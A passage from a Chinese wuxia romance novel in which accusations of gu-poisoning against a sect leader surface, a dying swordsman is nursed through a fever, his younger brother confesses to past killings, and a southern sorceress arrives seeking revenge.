此刻叶芷蔚与青山城诸人站在一处。见叶广走来,陆晓怜与钟晓手中两柄宝剑一同出鞘,阻拦在前。贺承也下意识抬手将叶芷蔚护在身后:“叶前辈,有什么话,不能光明磊落地大声说?” “你——”叶广气急,可当着众人的面,又不便发作,只好堪堪退回去,“罢了,芷蔚,你定是在西江城受了惊吓才胡言乱语,爹爹不怪你,今日你先好好歇一歇,有什么话,我们之后再说。” 他转过身去,朝众人抱拳:“诸位,便卖我叶某人一个面子,先让小女休息几日,她所言之事,我们过几日再从长计议。” 大伙不傻,终归能看出几分叶广的心虚。可在场的多是小门小派,不敢当众驳了凤鸣山的面子,没人准备离场,也没人开口说话,只拿眼尾余光扫着旁人的反应。 一片死寂中,只有站在庄荣身边的江阿小仗着年纪小不懂事,用不高、却足以令全场都听见的声量对他师父说:“怎么还要过几日?师父,这些人是在自己家里吃不饱饭,非得赖在咱们青山城蹭吃蹭喝吗?” 庄荣倒是不小气,摸摸小徒弟的脑袋,安慰他:“别担心,虽然他们吃得多,可师父也还是养得起你的,不至于让你饿肚子。” 江阿小抽抽搭搭地抱住他师父的腿:“谢谢师父。” 这师严徒尊的场面看着动人,却犹如一记耳光打在众人脸上。他们耗在青山城有些时日,之前庄荣避而不见也就罢了,实在没有好不容易逼着青山城往前迈一步,他们反倒要退后一步的道理。 孟岗先发了话:“既然大家今日都在,有什么话便直接说了吧。” 犹如冰封的湖面被戳开一个口子,满场沉默被震碎,万千话语便蠢蠢欲动。逐月阁阁主开了口,自然有人应和,很快将叶广逼到进退两难的境地。 最后一根稻草是金波加上去的。 金波从钟晓身后探出脖子张望,撇嘴道:“你们中原人真麻烦,做了便做了,没做便没做,不过是一句话的事情,怎么敢做还不敢认了?” 话已至此,叶广不开口便下不来台,他索性将心一横,高声道:“现在说便现在说。”他转过头来,死死盯着叶芷蔚:“芷蔚,你可要想清楚,别被外人挑唆哄骗,你终究还是要跟爹回家的。” 这话是明晃晃的威胁,可叶芷蔚面无惧色,她推开贺承的手臂,往前迈了一步,又推开陆晓怜与钟晓的剑,走到叶广面前。 陆晓怜有些担心,轻声喊:“芷蔚姐姐——” 叶芷蔚却笑着看叶广:“天下英雄面前,父亲若杀我,便是心虚。所以,父亲暂时是不会再杀我了,对吧?” 叶广咬着牙,并不应她。 叶芷蔚也不在意,自顾自说下去:“大家都知道,就在青山城无涯洞外曾死伤数人,死伤者身上尽是凌云剑留下的剑伤,所以当时便有许多人认定是青山城的贺承师兄下的手。可晓怜说耳朵和眼睛都会骗人,她那时几乎是跪下来求我,要我别急着恨贺承师兄,等一等,等她把贺师兄找回来,听听他自己怎么说……” 叶芷蔚说的事情,贺承在钟晓写给陆晓怜的信里读过一遍,在进山门的路上又听叶芷蔚和金波叽叽喳喳讲过一遍,他此刻累得厉害,正想走神发呆,却猝然听见陆晓怜的名字时,心念一动,抬头看向陆晓怜。 望着陆晓怜持剑而立的背影,他想起在南州城与她重逢时的场景。 那时距离无涯洞一事发生已经过去了大半年,他戴着胶皮面具扮做旁人,随口说一句贺承的闲话,都气得陆晓怜挥剑缠斗过来。他竟然到此刻,听着叶芷蔚说起,才想到从来没有问一问陆晓怜,事情刚刚发生时,面对兄长离世父亲失踪,还要为沦为众矢之的的他与人争辩,她是怎么熬过来的? 陆晓怜一颗心、一双眼各分成两半,一半盯着叶广,一半牵着贺承。因此,在贺承看向她的那一刻,她便收了剑,退了一步,扶了他一把,低声问:“师兄,你怎么样?还撑得住吗?” 贺承摇头,没头没脑地问她:“你那时是不是很难?” “什么?” 贺承只觉眼眶滚烫,他闭了下眼,深吸口气,咬牙问她:“那时,太多人骂我太多人恨不得将我千刀万剐,你偏要逆势而为,是不是很难?” 时隔经年,陆晓怜早就忘了当初的艰难,可贺承一开口安慰,被压制住的委屈翻上来,她不由声音哽咽:“也没有很难,那时最难捱的是我找不到你了。” “对不起。”贺承想抱一抱她,可在这剑拔弩张的场合实在不合适,他只能暗暗握紧她的手,“以后不会了,我什么事都不瞒你了,好不好?” “不许骗人!” “嗯,骗谁都不会骗你。” 两人于千百人之中十指相扣地并肩而立,即便战局一触即发,却也满心安然。 回过神时,金波已经举着那只养蛊虫的小瓷罐,站到叶芷蔚身边。 只听得叶芷蔚继续说着:“我一直暗中追查无涯洞一事,父亲大约也是有所觉察,才会对我动了杀心。可一年多来,我丝毫没有头绪,直到这回结识南疆来的金波姑娘,才像是捏住了一条线,将整件事情串了起来。贺师兄的为人我是清楚的,他断不可能因为晓怜要比武招亲就害人性命,可这些人又真真切切地死在青山城了,说明此事必有蹊跷。” “直到我偶然看见了这只装蛊虫的瓷罐,觉得眼熟,追问之下金波姑娘才告诉我,这是南疆圣女养蛊的器皿。我这才想起,我觉得这只罐子眼熟,是因为叶飞白离开凤鸣山来青山城参加比武招亲那日,父亲偷偷摸摸给他的一只一样的瓷罐,叮嘱他到达青山城后,交给贺启。” 惊愕之下,叶广竟忘了掩饰:“那日在屋外的人是你!” 在众人疑惑的目光中,他迅速回过神来,解释道:“那只是一份小小的见面礼,飞白第一次自己出门,带点东西来青山城疏通关系,也不是什么大不了的事情。至于瓷罐的式样相似,不过是巧合罢了。” “那我爹中‘失心蛊’也是巧合吗?”不等旁人回过神来,陆晓怜出声质问叶广,“芷蔚姐姐还说,曾在凤鸣山遇见过一群衣着古怪的人,这些人说话的口音与金波说南疆话时相似,这也是巧合吗?” 蛊术是南疆秘术,中原人虽然好奇,却决计不愿意去沾染。他们伸着脖子看金波手中的蛊虫是一回事,得知陆岳修身中蛊毒又是另一回事,陆晓怜一句话犹如投入水中的巨石,霎时激起千层浪花。 有人疑惑:“失心蛊是什么?” 有人叹息:“陆掌门既中了蛊毒,此刻是不是已经——” 有人胆寒:“若当真是叶掌门与南疆勾结,给陆掌门下蛊,那,那就太可怕了!” 也有人依旧为叶广说话:“叶掌门是否与南疆勾结尚没有证据,倒是青山城的这几个后辈,是真的跟这些旁门左道混到一起去了!” 大家站得近,每句议论都能听得分明。 金波不肯再让人围观那只漂亮的红色蛊虫,手掌一翻,将瓷罐收回袖中,愤愤道:“你们中原人对蛊术深恶痛绝,可说到底,蛊术只是一种工具,善恶取决于人心。你们叶掌门选的‘失心蛊’被造出来之初便是为了借刀杀人,确实不是什么好东西,当年我师父教了我一半,也觉得它不好,索性撕了那一页书。可即便我们将会助人为恶的东西毁了,有心为恶之人,还是会千方百计地将它翻出来。” 此前大家只知道陆岳修中了失心蛊,却不知道中了失心蛊的后果。金波这一番话本不是来告诉大家失心蛊究竟是什么的,却无心插柳将失心蛊的用处说得明明白白,当即有人反应过来:“这意思,是说当初无涯洞外的那几个人,是叶掌门给陆掌门下蛊,借陆掌门之手杀的?” “可我记 得,当时那几具尸体上满是凌云剑的剑伤,那不是贺承的剑吗?” “这便难怪了!”另一个人说道,“我那时还不明白,其他几位也便罢了,凭贺承的功力与凤鸣山的叶飞白交手,真动了杀心,一剑毙命便是,哪里需要刺那么多剑?” “你是意思是——” 几人一同反应过来:“那些剑伤,不为致命,是为了掩盖陆掌门断云掌的痕迹!” “一派胡言!”叶广气极反笑,慢条斯理地鼓掌,“我不过是让飞白带了样礼物给贺启,你们竟能编排出这样一出精彩大戏。我看岳修兄中没中蛊不知道,芷蔚怕是真被你们下了蛊,否则怎么会帮着你们来往自己的亲生父亲身上泼脏水!” “叶姑娘中没中蛊另说,我倒是有个小问题想请教叶掌门。” 叶广循声看过来,见出声的人是贺承。西江城一别,间隔数月,贺承散尽一身功力,越发衰弱,此刻裹在厚重的大氅里,勉力站着,当真称得上弱不胜衣。 叶广冷笑:“被逐出青山城的孽徒,这里哪里有你说话的份。” 这话在别处说便罢,叶广偏偏要在青山城说。 贺承跟庄荣亲近,也学了他护短的毛病,师弟师妹们在外头受了委屈,不论对错,都先替他们出口气再说。是以他年少时恃才傲物,得罪了不少人,可青山城里鲜少有人真心实意地说他半句不好。 也是因此,无涯洞出事后,庄荣有心偏袒,青山城上下无一人反对。 叶广此言一出,最先激怒的,是好不容易才等到贺承回来的青山城弟子。 可贺承不以为意:“我这问题不是作为青山城弟子问的,是作为贺启的兄长问的。我就是想知道,叶掌门是什么时候与贺启关系如此密切的?我师——” 他顿了一下,把后面的字吞回去,重新说:“陆掌门都没有收到叶掌门的礼,贺启的面子,甚至比青山城掌门还要大了?” “那是我替飞白准备的礼,并不是飞白替我带来的礼。”叶广不慌不忙地解释,“贺启与你相依为命,最了解你的人非他莫属。论武功,飞白是远不如你的,若不打听打听你的破绽,他哪里会有胜算?” “所以,小启收到礼物,告诉叶飞白什么了?” 叶广见招拆招:“飞白惨死无涯洞外,我甚至没能见他最后一面,我怎会知晓?” 陆晓怜他们早料到,叶广不见棺材不掉泪,仅凭叶芷蔚的半真半猜的一番说辞,断然无法坐实他给陆岳修下蛊和屠杀逐月阁的罪名。今日,她与贺承将叶芷蔚带上山来,除了要在众人心中埋下一颗怀疑的种子,更是为了保叶芷蔚一命—— 叶家父女当众闹成这样,今后若叶芷蔚惨遭不测,叶广恐怕难以自证清白,他那层宽厚仁义的皮,便再戴不下去了。 因此,今日之后,叶广便会是最怕叶芷蔚出意外的人。 至此,今日所求之事已经圆满,陆晓怜抱剑朝庄荣行礼:“师叔,芷蔚姐姐所说之事不能不明不白地算了,我希望今日在场的人可以多留几日。” 庄荣不解:“多留几日,事情便能明白了?” 贺承意味深长地看了叶广一眼,点头道:“我猜,不出三日,我方才问叶掌门的问题便会有答案。既然叶掌门也好奇,就留下来,一起等等吧?” 这话说得客气,可贺承话音刚落,人群之外另有一个声音传来:“贺公子放心,枕风楼死士已到位,擅离城者,必死。” 叶广死死瞪着贺承:“你——” 贺承无奈地笑笑:“事关我的清白,我不得不上点心。辛苦各位再多住几日。”边说着,他边朝四周的青山城弟子使个眼色:“快送各位江湖同道回去休息,站在此处吹了这么久的冷风,怪辛苦的。” 于是,人群渐渐散了。 通往后院的细长山道又恢复平日里的清静。 庄荣没料到贺承会来,待外人散尽了,沉着脸走到他身边,眉头紧锁:“胡闹!你怎么回来了?身上的伤怎么样了?” 贺承似是想要回应的,可唇角颤了颤,一个字都没来得及吐出,身子一晃,便直直往地上坠去—— “师兄!” “小承!” “贺少侠!” 从四面八方伸出的手稳稳将贺承接住。 他耳边充斥着嗡鸣,眼前一片昏黑,犹如坠入千尺深潭,却又觉得,那深潭中本该幽冷刺骨水,似是暖的。 第92章 第九十二章不辞冰雪不辞冰雪为卿热…… 贺承离开青山城已经有一年多的时间,可他旧日的居所却时常有人收拾整理,不仅窗明几净不落纤尘,甚至连床上的被褥都定时更换,并时不时地搬到太阳底下晾晒,为的就是他什么时候回来了,都能舒舒服服地住进去。 然而,他真的回来时,等着他的人们却发现,他一身伤病命在旦夕,无论将他旧日的居所打理得再如何整洁舒适,他都是不会好受的。 庄荣吩咐弟子去请大夫,却被陆晓怜出声拦了下来。她坐在床边,低着头将贺承衣袖上嵌着的银针取下来,小心翼翼地托着贺承的手,用温水沾湿过的软布,一寸一寸轻轻擦拭过他清瘦修长的手指。 一路跟进贺承卧房中的人这才看清,他苍白得几乎透明的指尖凝着层层暗红的血痂。 钟晓眸光震颤:“师兄这是——” “是,他早就撑不住了。”陆晓怜擦拭得很细致,血色被洗去,贺承的一双手惨白得像一捧冰雪,稍稍一触就要碎了化了。陆晓怜眼中染上痛色:“他如今清醒的时间越来越短,常常无声无息地便昏睡过去,怕自己今日撑不住,他在袖口镶嵌了一圈银针,十指连心,他是靠着锥心的疼痛撑到此刻的。” “胡闹!”针扎在贺承指尖,庄荣却疼得浑身发颤,“他胡闹,你怎么也由着他!” “可我还能怎么办?”陆晓怜轻轻眨眼,眼泪簌簌滚出,滑落在贺承手上。 似有所感,昏迷中的人手指微微一颤,她急忙将他的手握住,安抚般摩挲着他手背上冰凉的皮肤。等着昏迷中的人睡得安稳了,陆晓怜才苦笑着继续说下去:“师兄已经没有多少日子了,他想要一个真相,我总不能拦着。” 金波道:“至多再两日,我便能将陆掌门身上的‘失心蛊’逼出。到时候,看叶广还有什么话好说!” “不止是叶广,还有贺启。”陆晓怜垂眼盯着贺承昏睡中仍微微拧着的眉头,“他虽然没有说,可我看得出来,知道贺启与凤鸣山勾结,与无涯洞、逐月阁两起杀戮都有关联,他心里很不好受。从枕风楼来青山城,长途跋涉,到后来他实在撑不住,终日神志昏沉,有一日也不知是把我认成了谁,拉着我的手流着眼泪,反反复复地同我说抱歉,说是他没把贺启教好。” 说到这里,陆晓怜恨得咬牙。 她与贺承青梅竹马一同长大,在她的印象里,贺承没掉过几次眼泪,小时候上房揭瓦摔断了腿没哭过,后来替陆岳修背下无涯洞外残杀同道的骂名没哭过,伤病缠身被逼得武功尽失时日无多也没哭过,却为贺启的事,愧疚得病重昏睡也不得安稳。 陆晓怜双目猩红:“我那时,恨不得杀了贺启。可我偏偏知道,师兄舍不得!” “他大约是把你当做当年在湘城捡到他的那个老乞丐,那是贺启的亲爷爷,病死前把唯一血脉托付给了小承。”庄荣叹气,“这孩子明明是在我身边长大的,怎么没学会一点我的没心没肺?面上看着没什么,暗里心思却这么重。可话说回来,叶广咬定了蛊虫与他无关,如今贺启下落不明,即便两日后金姑娘当众逼出蛊虫,又能如何?” “师兄也想到了这一节。所以他——”话到这里,陆晓怜声音哽咽,几乎说不下去。 最终是钟晓替她将事情说完整的:“所以师兄离开枕风楼时,便请枕风楼放出了消息,说他命不久矣, 撑着最后一口气要回青山城落叶归根,死前只还有一个愿望,便是想再见贺启一面。” 最难的话已经由钟晓说了,陆晓怜稍稍缓过来:“师兄说,兴许贺启不是个好孩子,可贺启应该还是个好弟弟,他总会排除万难来见他最后一面的。” 其实,从钟晓和陆晓怜此前传来青山城的书信中,庄荣等人已经知道贺承的状况不大好。那时他们总觉得自己还能为贺承做点什么,可亲眼看见贺承奄奄一息地躺在床榻之上,所有人的心都沉沉坠下去。 他们确实什么也做不了,只能眼睁睁地看着他在伤病中艰难辗转。 许是回到青山城,贺承强撑了一路的那口气松了下去,他这一次昏厥不仅没能迅速醒来,入夜之后,还毫无预兆地起了烧,额头滚烫,四肢却寒冷似冰,分外骇人。 庄荣请来的已经是青山城里顶好的大夫了。陆晓怜认得这位大夫,她小的时候稍有头疼发热,即便是在三更半夜,陆岳修也要打着灯笼亲自去请这位大夫,不出三贴药,便能药到病除,确实是杏坛妙手。 可是这位杏坛妙手却对如今的贺承束手无策。 枕风楼的药用得很重,服过枕风楼的药,寻常大夫开的方子便不大起作用了。大夫翻过陆晓怜仔细誊写下来的、贺承近来的用药情况,只连连摇头:“方子是能开,可药性太弱,于他起不了作用,药性太烈,他的身子又受不住。” 庄荣追着问:“那怎么办?总不能便不管他了吧!” 大夫不理会气急败坏的庄荣,只看向陆晓怜:“他这情况恐怕不是1回 了吧?如今,也只能靠他自己熬,能挺过一夜,便又是多活一日。” 庄荣不是没见过贺承生病、受伤,他只是还不能接受在自己身边长成名扬江湖的鲜亮少年的那个孩子,要凋谢在这样好的年纪里。 他心慌,他着急,他怨愤。 他想要这个孩子活下去,即便他已经武功尽失,经脉断绝,他再也不能指望着他学尽青山城典籍,可他还是希望他活下去。 与旁的什么都没有关系,他希望他活下去,当个遛鸟养花的纨绔也好。 大夫最终还是没有开出方子。临走时,他留下一支老参,交代熬了水喂给贺承,能咽的下一口,便有一口的效用。 守在门外的师兄弟在院子里架起炉子便开始熬参汤,怕贺承咽不下去,一支老参只熬出浓郁的一小碗。陆晓怜接过那小碗参汤,便开始赶人,说他们辛苦多长,说今夜霜寒露重,说要是他们病了,还有谁能替师兄护着青山城? 她年纪虽然不大,可毕竟是掌门的女儿,近水楼台的,拜师拜得很早,本就是大多同辈弟子的师姐,这一番话又说得入情入理,很快便将守在院子里的师兄弟劝了回去。 钟晓和金波要逼出陆岳修体内蛊虫,并不在山上过夜,庄荣要统领青山城全局,也早被陆晓怜劝走。 于是,贺承居住的院落中,便只剩他与陆晓怜两人。 陆晓怜把人送出一段路,折身回来却并不急着进屋,在院子中央站定,开始解开披风的系带,她先脱下最外面的一层披风,而后褪下外层的袄子,再往下是一层襦裙,最终只穿了一层单薄的中衣站在寒风中。 刚过正月,夜风是刺骨的冷。 因为寒冷,她的身体无法自抑地颤抖着,她却恍若不觉,张开着双手,任冷风裹住她的身体,将她的身体吹得温凉,比常人的体温要冷,又不至于像霜雪刺人。 而后,她快步朝贺承房中奔去。 恰好,桌案上的参汤正晾到适宜的温度,她含了一大口参汤,揭开棉被,钻了进去,隔着单薄的中衣,紧紧抱住贺承,灵巧地撬开他的唇齿,将那一口参汤用舌尖一点一点哺进去。她的身体贴着床上浑身滚烫的人,她偷走他的滚烫,他借用她的温凉,他们交换过体温,在漫漫长夜里,在灭顶的绝望里,无声相守…… 这一夜,陆晓怜又起身到院子里吹了几轮冷风,不知是在第几次钻进被窝里时,紧紧抱着贺承,迷迷糊糊睡了过去。 天亮时被从窗子落进来的阳光唤醒,陆晓怜迷迷糊糊地睁开眼,发现本是来照顾病人的自己不知什么时候,却被贺承搂进怀中,枕着他的手臂睡得安稳。她边在心里责备自己,边试图挣脱贺承的怀抱。 不料,刚刚轻轻扯下贺承扶在她腰间的手,头顶便有低沉暗哑的声音响起:“醒了?”边说着,刚刚松开她的手又绕过来,将她轻柔地搂住,那个声音又说:“别动,再陪我躺一会。” 陆晓怜抬手摸摸贺承的额头,松了口气:“温度终于退了。你觉得好些了吗?” 贺承低低“嗯”了一声,幽幽叹了口气:“之前你不是答应我的吗?以后不会再这样帮我退热了,怎么出尔反尔?” 正如昨夜那位大夫所猜想的,这并不是贺承第一次这样发热,也并不是第一次遇见大夫不敢开方子,更不是陆晓怜第一次应对这种情况。 她一次次到雪地里、冷风里降下自己的体温,用自己为贺承降温,她一次次陪贺承挺过漫漫长夜,迎来第二日的曙光。 贺承每次苏醒了,都会心疼陆晓怜彻夜立在风雪中。 陆晓怜每次都答应了他不会再不顾念自己,可真遇上贺承高热不退,她答应过什么,全抛在脑后。 这一回,贺承依旧苦口婆心地劝:“晓怜,你听话,以后不许再这样了,我没几天好活,你却还有大把时光,冻坏了你,得不偿失。” 陆晓怜红着眼瞪他:“你一定要这样吗?每日都将死啊活啊挂在嘴边。” “对不起,我知道你听了会难过,可我还是得这样说。”贺承吻了吻她的额头,叹了口气,“晓怜啊,你不要再自欺欺人,我是真的要死了。我宁愿你现在难过,也好过我走之后你才被迫接受我不在了的事实,那时难过,我就帮不上你了。” 有眼泪从陆晓怜眼睛里涌出来,她抹了把眼睛,翻身起来,生硬道:“不说这些事了,我去厨房看看有什么吃的,你一定饿了。” 陆晓怜没再理睬贺承,背对着他套上外衫。贺承偏过头看她,猜想她应该是哭了,纤瘦的肩膀压抑地微微颤抖,他想去抱抱她,可他不敢。 他小时候练剑很勤奋,日日持剑,指腹上很快被磨破了皮。那时是很疼的,可日子久了,疼痛的地方会生出厚厚一层茧子。 他想,再柔软的地方,反复磋磨,也会为了自保,拼命长出一层盔甲。 人心大概也是。 屋子里的两个人各怀心事,各自沉默。 打破满室死寂的是屋外的敲门声 有人轻轻敲门轻轻说话:“陆师姐,贺师兄醒了吗?贺启找到了。” 第93章 第九十三章旧毒当年给贺承下毒的另…… 正如贺承所料,贺启听到贺承死前想见他一面的讯息,不可能不来。他还未踏入山门,便被沈懿行的人发现,直接交给陪着金波在枕风楼驻地为陆岳修逼蛊虫的钟晓。 是非曲直尚未分明,钟晓没有知会太多人,带着贺启进了后山,直奔贺承居处。 算来,贺启告别贺承只有两个月的时间,可贺承的状况江河日下,间隔了这几十日,贺启再见他大哥时,惊觉他已衰败羸弱得令人心惊。 贺承烧了一夜,早晨勉强吃进去的半碗粥又和血吐了个干净,贺启来时,他正阖眼小憩着。贺启跪坐在床边的踏板上,见他大哥脸色惨白中浮着灰败,气息微弱得似是随时都会断绝,确是油尽灯枯之相,不由眼眶泛红,颤声喊他:“哥——” 贺承黑长的眼睫轻颤,睁眼看过来,眉头也随时拧起。 贺启又喊一声:“哥,对不起。” 贺承轻轻吐出一口浊气,闷咳几声,哑声道:“扶我起来。” 贺启乖乖巧巧地伸手要去扶他,却不料手还未触及贺承的被褥,便被陆晓怜横插进来,挤到一旁。陆晓怜这些日子照料贺承越发娴熟,搀着他的手臂将人扶起,往他身后塞了两块软枕,拉高被子盖到他腰间,还不忘在他肩头披了件大氅。 她站在半步之外,警惕地盯着贺启,生硬道:“让他经手你的事,我不放心。” 这两个人,自小便不对付。 如今在他病床前,竟也要争个输赢吗? 贺承看着陆晓怜无奈地摇头笑笑,目光落回贺启身上,却收敛了笑意,严厉起来。他指着不远处、钟晓身边的一张椅子,对贺启道:“去你师兄身旁坐好,我有事要问你。” 贺承要问的事,贺启其实在来见他的路上已经猜到了。 见到钟晓的一双眼睛明亮澄澈,又听说他刚刚从西江城赶过来,他便猜到有些事恐怕已经被捅到他大哥面前。他哪里敢安安稳稳地坐在椅子上,依旧跪在床边,低眉顺眼地试探:“逐月阁的事,你们是不是都知道了?” 即便亲身经历,钟晓还是不肯信:“逐月阁的祸事当真是你引去的?” 贺启垂着头,乖顺柔软得像一只羊羔,可这只羊羔偏偏啖肉饮血,造下令人心惊的杀孽。他咬着嘴唇,半天才吐出一个“是”字。 即便早已料到逐月阁的事与贺启脱不了干系,可他这一声“是”,还是震得贺承耳边隆隆作响。 垂眼看着跪在床边的贺启,贺承惊觉悄然之间,这个自小蹲在他床边的孩子已经生出能搅动江湖风雨的本事,是他这个当兄长的失职,不及觉察,未曾教导,才会任他闯出难以弥补的祸事。 “为什么?”贺承想不明白,“逐月阁的人与你无冤无仇。” “原本是无冤无仇,我原本也是不想杀他们的。”贺启霍然抬头,眼中依稀有残存的恨意,“可孟元经将你伤得那么重,他该死!” 陆晓怜与钟晓都亲眼看着孟元经的一柄重剑贯穿贺承的腰腹,万钧之力顺着剑脊,也将他的脏腑伤了个遍。他们都心知肚明,若没有那一剑,即便后来贺承自废武功,也不至于在几个月内衰弱至此。 若归咎于此,贺启的恨也算情有可原。 贺承没有陷入贺启的情绪中,他问贺启:“可无缘无故,你为何会在逐月阁?” “不是无缘无故。”贺启看着贺承,迟疑许久,终于将心一横,“我其实是孟元经请进逐月阁的,我那时终日戴着面具,孟元经并没有认出我。孟元纬重伤后,他心中有气,是我劝他扣住上门拜访的陆晓怜,也是我劝他放出陆晓怜在他手里、要你亲自来救的消息的。” 陆晓怜不解:“你把我扣在逐月阁想做什么?” 贺启摇头:“我没想做什么,我只是想以哥哥的名义,杀几个逐月阁的人。” 这话更令人不解,贺启深吸一口气,继续说下去:“我想要和哥哥回湘城,找一处院落,安安静静地住着。我们兄弟二人本来便是这样生活的,他原本只是我一个人的哥哥,并不是你们的师兄!” “叶广同我说,只要我引哥哥到逐月阁去,他便有办法逼得青山城将哥哥逐出师门,之后,他便又是我一个人的哥哥了。”贺启望着贺承惨白的脸,双目猩红,“我没想到后来会这样,孟元经竟会害他重伤濒死,他们竟还逼得他自废武功失去一身护体内力。早知会这样,我绝不会……” “贺启!”贺承沉声打断他。 他被气得胸口气血翻涌,不及出声斥责,便忍不住剧烈咳嗽起来。陆晓怜寸步不离守在一旁,急忙扶住贺承摇摇欲坠的肩膀,一下一下拍抚他瘦得嶙峋的脊背:“师兄,你别气,他,他终归也是被叶广诱骗的。” 贺承断断续续地咳,被陆晓怜喂了小半杯温水,才稍稍止歇。 他原本就没剩多少力气,这样折腾一番,显得越发羸弱,倚在陆晓怜怀中,几乎坐不稳当。可他的目光落在贺启身上,还是严厉如锋刃,他的声音弱得几不可闻,可语气却是重的:“你到现在,还不知自己错在哪里吗?” 贺启并非存心要气他的兄长,可他与陆晓怜争输赢争惯了,当着她的面,竟低不下头来服软,气急败坏道:“错了又如何?让你骂我打我,也总比让你留在青山城,感恩戴德地被害死强!” “你这话是什么意思?” 话一出口,贺启便自知失言,抿紧了嘴唇不肯再往下说。 贺承恍然想起一年前,自己拖着一身伤从青山城赶到枕风楼时,屠勇确实曾经说过,他中了毒,那种毒并不会立即发作,而是悄无声息地消耗着他的气血,若没有被发现,便会生生将他熬至油尽灯枯。 那时他和沈懿行都以为他身上的毒拜江非沉打到他肩上的那颗铁蒺藜所赐,也是后来去了南州,机缘巧合地获得江非沉留给他的信,贺承才知道江非沉早将淬过毒的毒蒺藜换做寻常的铁蒺藜,给自己下毒的另有其人。 他无心无力更没有时间追查此事,本以为,他永远不会知道究竟是谁要害他,没料到,生命将尽时,贺启竟带来了线索。 贺承追问:“你说清楚,青山城里谁要害我?” 怕贺启不肯说,陆晓怜适时补上一句:“是不是又是叶广说了什么?” 贺启受不得激,开口便回她:“没人说什么!是我亲眼看见的!那年比武招亲前,陆岳修往我哥的饭菜里加东西,若不是我发现及时,打翻饭菜,我哥已经被你爹毒死了!” “你,你说什么?”贺承脸色煞白,他扶住陆晓怜的手臂,挣扎着想坐稳,可单薄得如同深秋枯叶的身子难以自抑地颤抖着。他死死盯着贺启,难以置信地重复了一遍:“想杀我的人,是师父?” 陆晓怜与钟晓听了贺启的话,也觉心惊,担心地喊了声:“师兄……” 话音未落,却见贺承闷闷咳了一声,紧闭的双唇间悄然涌出汩汩鲜血。 “师兄!” 艳色的血顺着贺承清瘦的下颌滑落,衬得他的气色越发惨淡。某一瞬间,陆晓怜觉得怀中的人被抽光了力气,轻得像一片云,也柔软得像一片云,下一刻便要散了。 他再经不住一点风了,可他偏偏不肯躲在人后。 他在绝望里挣扎着伸出双臂,去攀风雨飘摇重的一块浮木。他不管不顾地追着问:“说清楚,你是怎么发现的?这其中会不会有什么误会?也许师父是不小心……” “没有。”贺启打破他最后一丝幻想,“那段时间,你为了赢下比武招亲,勤加练功,常常赶不上吃饭,饭菜都是厨房单独留的。我在厨房一连观察了几日,陆岳修日日都去,日日都往你的饭菜里加东西。” 钟晓不肯信:“掌门师伯究竟加的是什么东西?你与他对峙过?” 贺启冷哼:“偷偷摸摸的,能是什么好东西?” “你说,你是在厨房看见我爹给师兄下毒的?”陆晓怜眉心拧起,犹豫着问,“我不是要为我爹开脱,我只是觉得奇怪,贺启,你没事去厨房做什么?” 贺启道:“自然是有人提醒我,青山城中有人要害我哥。” 陆晓怜咬着嘴唇沉默片刻:“我猜,那个提醒你的人,是叶广吧?你心中怨愤,便听了他的话,将他让叶飞白带来的失心蛊下到我爹身上,对吗?” “不错,可你不会想说,是叶广诬陷陆岳修吧?” 贺启冷笑着,“我那时便换了饭菜,拿被加过东西的饭菜进后山喂野兔,一开始,那些兔子还是活蹦乱跳,我也一度以为是我冤枉了陆岳修,可毒饭菜喂到第四日,整窝兔子都死了。前一阵子在枕风楼遇见沈大哥,他也说,我哥最初回到枕风楼时,便是中了毒的,你还要如何为陆岳修开脱?” 陆晓怜愣住,瞪大了眼看贺承,讷讷道:“师兄,你当真中过毒?” 贺承苦笑,握住陆晓怜的手,他冰凉的手指轻轻摩挲着她的手背,温声道:“都过去了,中没中过毒,已经不重要了。” 怎么会不重要呢?她的父亲要杀她青梅竹马的心上人,这是为什么? 她的手被贺承紧紧握住,她想像当初请求别人相信贺承不会平白无故造下杀戮一样,请求贺承再给她一点时间,让她弄清楚父亲为什么会下毒,这其中是不是有什么误会。 可是她望着贺承苍白的脸,绝望地发现,贺承已经没有多少时间能给她了。 她一句话都说不出来,只握着贺承的手流眼泪。 贺承拉她在床沿坐下,颤抖着手擦去她脸上的泪痕:“我相信,师父这样做,一定有他的缘故。等师父醒了,你能不能帮我问问他?” 未等陆晓怜应下,他却又改了口:“算了,还是别问了吧。我,我也不是很想知道。” 第94章 第九十四章寻仇我找庄荣赔我一条命…… 谁也没有料到,贺承病重垂危的消息撒出去,引来的除了贺启,还有另一个人。 那是个看着不到三十来岁的女子,身形窈窕纤细,容颜美艳夺目,衣衫不是中原人模样,颈上绕着银项圈,腰间佩着缀着银铃的腰链,赤足踏过山道上的青石板,一步一摇,银铃叮当。 她站在山前空地上,冲着守山门的弟子道:“我找你们青山城里一个叫庄荣的。” 青山城已被叶广一帮人搅得鸡犬不宁,守门弟子比平日还有谨慎,问她:“你是谁?找庄师叔做什么?” “我找庄荣赔我一条命。” 此言一出,是敌非友。 守门弟子抽出佩剑:“姑娘请回,青山城与人为善,我们不想动手。” 那女子好笑地看着他们:“我劝你们快去叫庄荣出来,凭你们几个,还不够我塞牙缝的。”说罢,她细长的手如盘柱般蜿蜒蛇形向上,环佩叮当的脆响中,她猝然抬头,仰天发出一声清啸。 未到惊蛰,山里的蛇虫本该沉睡着,可这女子一声清啸,却惊醒了百虫。 那一日,青山城守山门的弟子只听得四下响起怪异的窸窣声,随着女子翩然起舞,那令人牙酸的声音越来越重,也越来越近,定睛再看,只见那女子周身围着密密麻麻的蛇虫,而她昂首站立期间,犹如率领着一支军队。 她冷冷盯着青山城弟子,道:“我只给你们半柱香的时间,庄荣不出来,我便进去。” 要进山通报的弟子转过身去,又听见那女子在他身后补了一句:“你同庄荣说,我叫桑秀,他把我的孩子养死了,我来找他算账。” 其实并不必有谁去通报,桑秀那一声清啸不仅惊动蛇虫,也惊动了青山城中的人。不仅是庄荣,连在青山城“做客”的叶广等人也陆陆续续赶到山门处。 桑秀抬着下巴打量庄荣,秀眉微蹙:“你便是庄荣?你怎么这样老?” 没人想到她当头会是这样一句,于是也没人想到要如何回答她这个问题。 她自顾自地说下去:“当年,司渊同我说过,你是他可以托孤的至交好友,我还以为你的年纪是与我们一般大小的。” 已有弟子向庄荣禀明桑秀的名字与来意,听来人提起司渊,庄荣并不觉得意外,哈哈一笑:“我是比司渊小友要大几岁,平素又不修边幅惯了,看着自然更苍老些。” 桑秀点头:“我不是来与你讨论年纪的。我是来向你讨个说法的,你既然带走了我儿,为什么不好好护着他?令他年纪轻轻便被人害死?” 